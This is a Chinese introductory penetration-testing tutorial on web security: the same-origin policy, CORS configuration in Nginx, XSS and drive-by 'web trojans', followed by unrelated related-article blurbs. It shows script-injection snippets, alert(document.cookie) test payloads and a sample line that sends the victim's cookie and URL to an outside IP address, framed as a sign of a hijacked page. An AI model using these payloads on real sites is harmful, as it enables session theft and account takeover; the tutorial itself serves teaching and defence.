渗透测试之Web安全系列教程(一)

今天,我们来讲一下Web安全!

本文章仅提供学习,切勿将其用于不法手段!

目前,在渗透测试领域,主要分为了两个发展方向,分别为Web攻防领域和PWN(二进制安全)攻防领域。Web 攻防领域,涉及到一些知识点,本系列教程,就来科普一下这些知识点。

1、同源策略

     大家需要注意,同源策略,是基于浏览器而实现的!

     如果客户端,是我们自己编制的浏览器,或者是自己编制的可以解析网页内容的脚本,那么,我们是可以突破同源策略限制的!这就好像JS脚本只能检测表单提交数据的合法性,但是如果我们不通过浏览器,而是使用特定的脚本去向服务端发起GET/POST/PUT之类的请求,那么JS脚本对于表单被提交数据的合法性检测,就变得意义不大了!我们可以完全绕过JS脚本的安全检测,直接构造特定的HTTP请求数据包,向Web服务端发起HTTP请求。毕竟,Web服务端验证的只是HTTP请求数据包的格式合法性,仅此而已!

   同源策略,对于一些标签,是无效的!

   iframe 标签、javascript 标签 等,都是可以绕过同源策略限制的!

  XMLHttpRequest 在 Ajax 异步请求中,被常规性的用到,并且其受到同源策略的限制。

  但是,如果 Web服务端 允许跨域请求,即 HTTP Response 返回了 Access-Control-Allow-Origin 为真,那么,我们就可以使用 XMLHttpRequest 在 Ajax 异步请求中去进行跨域提交了。

大家可以了解下,XMLHttpRequest 跨域访问标准!

在 Nginx 类型的Web服务器中,我们可以通过在配置文件中写入如下内容来开启 Nginx 对于 XMLHttpRequest 跨域提交的支持!

location / { 
         add_header Access-Control-Allow-Origin *;
         add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
         add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X- Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';

         if ($request_method = 'OPTIONS') {
              return 204;
         }

我们需要知道,允许跨域提交,可能会产生一定的信息安全风险!、

白帽黑客,在进行渗透测试工作时,可以检测一下, 被评估目标 是否被允许进行 XMLHttpRequest 的 跨域提交!

由于 浏览器的同源策略,并没有对 script 等标签进行同源限制,这导致了 恶意黑客 可以利用这一特性,并通过一些 Web 网站中所存在的XSS注入漏洞,将一些恶意的代码(包含 script 相关内容,而 script 的 src 属性的值,可能是指向某个其它域的、包含木马脚本的URL地址)内容嵌入到 Web 网站的指定页面中。这种行为,被俗称“网页挂马”!

XSS漏洞,危害还是非常大的!

因为 XSS漏洞,经常被 恶意黑客 们 去用来实施 网页挂马 行为!

作为白帽子黑客,检测 被评估目标 是否存在XSS 注入漏洞,检测 被评估目标 是否允许 跨域访问,是非常重要的!对于检测被评估目标的网页内容中,是否包含跨域脚本,跨域脚本内容是否安全,同样应该得到 白帽黑客 们的高度重视!

网页木马,为什么危害巨大?

网页木马,可以直接针对浏览器所存在的安全漏洞进行特定攻击,从而利用浏览器的安全漏洞执行恶意代码,并获得浏览挂马网页的用户的电脑控制权!

想要防御网页木马,想要洞悉网页木马的工作原理,你就必须要对一些操作系统和浏览器的技术实现有所了解!

在 Windows 系列的操作系统环境中,DEP(数据执行保护)、ASLR(针对缓冲区溢出的安全保护技术)、SafeSEH(安全异常处理) 等内存保护技术,我们是需要有一定了解的!当然 这牵涉到了 PWN 的 二进制安全 领域,所以在本系列教程中,不做过多的讲述。

对于PWN领域有兴趣的童鞋儿,可以参考我的其它有关于 PWN 领域的技术文章。

下面,我们来看一下,网页渗透技术的相关案例!

注意,我们了解攻击技术原理,是为了使渗透测试行为变得更加有效!是为了能够更好的进行信息安全防御,绝不是为了去进行违法犯罪行为!

我们在进行渗透测试行为时,想要在网页中进行跨域脚本的嵌入,我们必须了解HTML语言的相应语法。HTML语言,是标签语言!HTML语言,由众多标签构成!HTML语言的标签元素,一般都是成对出现的!例如:<video></video>、<div></div>、<script></script>、<style></style>等。

想要在网页中实现跨域脚本的嵌入,我们可以这样做:

<script type="text/javascript" src="指定的跨域脚本的URL地址"></script>

注意!script 标签 的 type 属性,表述的是 当前脚本是 基于JavaScript 脚本语言的 (浏览器支持的脚本语言,还有 VBScript ,不过 VBScript 在浏览器环境中并不算常用。通常情况下,一些木马病毒脚本,可能会利用 Windows 系统的 Dom 组件 环境特性 ,结合 VBScript 脚本语言,进行系统攻击等恶意行为!所以,大家不要轻易的去点击或运行 以 .vbs 扩展名为结尾的相关可执行脚本文件。这样做,可能会很危险!)。script 标签 的 src 属性,指向跨域脚本的URL地址!

<script type="text/javascript">

alert(document.location.href); //可以弹出对话框,并显示出当前网页的URL地址!

alert(document.cookie); //可以弹出对话框,并显示出当前用户在当前网站中的COOKIE信息!

</script>

注意,如果看到类似于下面这样的JS脚本内容:

 document.location.href="指定用于记录信息的URL地址"+document.cookie;

例如,document.location.href="http://172.22.165.51/jilu.php?web_url="+document.location.href+"&user_cookie="+document.cookie;

那么意味着,这个网页,可能已经被挂马了!

如果你非常不幸地访问到了包含这样内容的代码,那么你的指定网站账号信息,可能会被恶意黑客盗取!

身为一名白帽子黑客,我们要重点检测下,被评估目标的 网页内容 是否可以被 “ 挂马 ” !

我们应当注意!一些浏览器插件、浏览器的应用扩展,往往是不受 Sandbox 浏览器沙箱 管辖的!

这意味着,一但 浏览器插件、浏览器的应用扩展 等存在安全风险!那么,后果将是非常严重的!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/846429.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1985-2020 年阿拉斯加和育空地区按植物功能类型划分的模型表层覆盖率

ABoVE: Modeled Top Cover by Plant Functional Type over Alaska and Yukon, 1985-2020 1985-2020 年阿拉斯加和育空地区按植物功能类型划分的模型表层覆盖率 简介 文件修订日期&#xff1a;2022-05-31 数据集版本: 1.1 本数据集包含阿拉斯加和育空地区北极和北方地区按…

DPDK基础组件二(igb_uio、kni、rcu)

The Linux driver implementer’s API guide — The Linux Kernel documentation 一、igb_uid驱动 参考博客:https://zhuanlan.zhihu.com/p/543217445 UIO(Userspace I/O)是运行在用户空间的I/O技术 代码位置:dpdk----/kernel/linux/igb_uio目录 igb_uio 是 dpdk 内部实…

学习数据分析思维的共鸣

在这篇文章中&#xff0c;我将分享自己在成长过程中对数据分析思维的领悟&#xff0c;从《数据分析思维-产品经理的成长笔记》这本书引发的共鸣&#xff0c;到数据分析在不同岗位的广泛应用&#xff0c;再到如何将学习与快乐联系起来&#xff0c;以及沟通在数据分析中的重要性。…

cocos入门4:项目目录结构

Cocos Creator 项目结构教程 Cocos Creator 是一个功能强大的游戏开发工具&#xff0c;它为开发者提供了直观易用的界面和强大的功能来快速创建游戏。在使用 Cocos Creator 开发游戏时&#xff0c;合理地组织项目结构对于项目的可维护性和扩展性至关重要。以下是一个关于如何设…

设计模式(十)结构型模式---享元模式(flyweight)

文章目录 享元模式简介结构UML图具体实现UML图代码实现 享元模式简介 享元模式&#xff08;fly weight pattern&#xff09;主要是通过共享对象来减少系统中对象的数量&#xff0c;其本质就是缓存共享对象&#xff0c;降低内存消耗。享元模式将需要重复使用的对象分为两个状态…

7-14 字节序(Endianness)---PTA实验C++

一、题目描述 “内存寻址的最小单位是字节”——明白。 “每个字节有唯一的编号&#xff0c;称为地址”——明白。 “C中int通常为四个字节”——了解。 “int x 1;最低字节是1还是0&#xff1f;——纳尼&#xff1f; 事实上&#xff0c;这里有点小小分歧&#xff1a; 多字…

JavaScript移除事件的方法

JavaScript移除事件的方法有两种&#xff0c;分别是removeEventListener和οnclicknull。 使用removeEventListener方法&#xff1a; removeEventListener方法用于从元素中移除之前添加的事件监听器。它需要传入三个参数&#xff1a;事件类型、事件处理函数和一个可选的布尔值…

IDEA 学习之 命令行太长问题

现象 Error running App Command line is too long. In order to reduce its length classpath file can be used. Would you like to enable classpath file mode for all run configurations of your project?解决办法 办法一 .idea\workspace.xml ——> <compone…

软件开发整体介绍

黑马程序员瑞吉外卖 文章目录 一、软件开发流程二、角色分工三、软件环境 一、软件开发流程 二、角色分工 三、软件环境

【探索微软 Edge:现代化的网页浏览体验】

探索微软 Edge&#xff1a;现代化的网页浏览体验 微软 Edge 是一款现代化的网页浏览器&#xff0c;它由微软开发并推出&#xff0c;旨在提供更快速、更安全、更现代化的网页浏览体验。Edge 浏览器基于 Chromium 开源项目&#xff0c;这使得它拥有与 Google Chrome 类似的性能和…

13.FreeRTOS使用事件标记组

FreeRTOS 事件标记组 什么是事件标记组&#xff1f; 事件标记组是一个24&#xff08;在 FreeRTOS 中&#xff0c;默认情况下&#xff0c;事件标记组的位数是 24 位&#xff09;位的变量&#xff0c;每一位&#xff08;bit&#xff09;可以独立地被设置或清除。任务可以等待一…

锁是实现原子性的一种方案,但是原子性的实现不一定需要通过锁机制保证

前言&#xff1a;在实际开发过程中&#xff0c;我们可能会通过事务来保证原子性&#xff0c;但是很多人存在误解&#xff0c;他们会以为Transactional 注解原子性就是代表java中的CAS或者锁那种也能保证并发情况下的原子性。其实不是这样的&#xff0c;MySQL的原子性是通过redo…

GraphQL(2):使用express和GraphQL编写helloworld

1 安装express、graphql以及express-graphql 在项目的目录下运行一下命令。 npm init -y npm install express graphql express-graphql -S 2 新建helloworld.js 代码如下&#xff1a; const express require(express); const {buildSchema} require(graphql); const grap…

vue3与ts的组合式API

vue3与ts的组合式API props 1.基本props <script setup lang"ts"> const props defineProps<{foo: stringbar?: number }>() </script>2.抽离props <script setup lang"ts"> interface Props {foo: stringbar?: number }co…

leetcode146.LRU缓存,从算法题引入,全面学习LRU和链表哈希表知识

leetcode146. LRU 缓存 题目链接 请你设计并实现一个满足 LRU (最近最少使用) 缓存约束的数据结构。 实现 LRUCache 类&#xff1a; LRUCache(int capacity) 以 正整数 作为容量 capacity 初始化 LRU 缓存 int get(int key) 如果关键字 key 存在于缓存中&#xff0c;则返回关…

【QT】父子按钮同时响应点击事件

QPushButton如何响应点击事件 QPushButton::event(QEvent *e) 。可以看到在QPushButton中的event函数中并没有鼠标点击相关的操作&#xff0c;那么我们去QAbstractButton::event中寻找 damn it!。依然没有那我们去QWidget::event中寻找 damn it! 只有mousePressEvent mouseR…

leetcode165.比较版本号,简单模拟

leetcode165.比较版本号 给你两个 版本号字符串 version1 和 version2 &#xff0c;请你比较它们。版本号由被点 ‘.’ 分开的修订号组成。修订号的值 是它 转换为整数 并忽略前导零。 比较版本号时&#xff0c;请按 从左到右的顺序 依次比较它们的修订号。如果其中一个版本字…

主流摄像机:海康、大华、宇视、华为等RTSP格式

主流摄像机&#xff1a;海康、大华、宇视、华为等RTSP格式 解决方案速览海康摄像机大华摄像机宇视摄像机华为摄像机 解决方案速览 品牌rtsp格式rtsp举例海康rtsp://[username]:[password][ip]:[port]/[codec]/[channel]/[subtype]/av_streamrtsp://admin:admin123192.168.1.10…

libcef.dll丢失的解决方法-多种libcef.dll亲测有效解决方法分享

libcef.dll是Chromium Embedded Framework (CEF)的核心动态链接库&#xff0c;它为开发者提供了一个将Chromium浏览器嵌入到本地桌面应用程序中的解决方案。这个库使得开发者能够利用Chromium的强大功能&#xff0c;如HTML5、CSS3、JavaScript等&#xff0c;来创建跨平台的应用…

罕见!史诗级“大堵船”

新加坡港口的停泊延误时间已延长至7天&#xff0c;积压的集装箱数量达到惊人的450000标准箱&#xff0c;远超新冠疫情暴发时期的数轮高点。业内认为&#xff0c;近期东南亚恶劣的天气情况加剧了该区域港口拥堵。 5月31日&#xff0c;上海航运交易所&#xff08;下称“航交所”…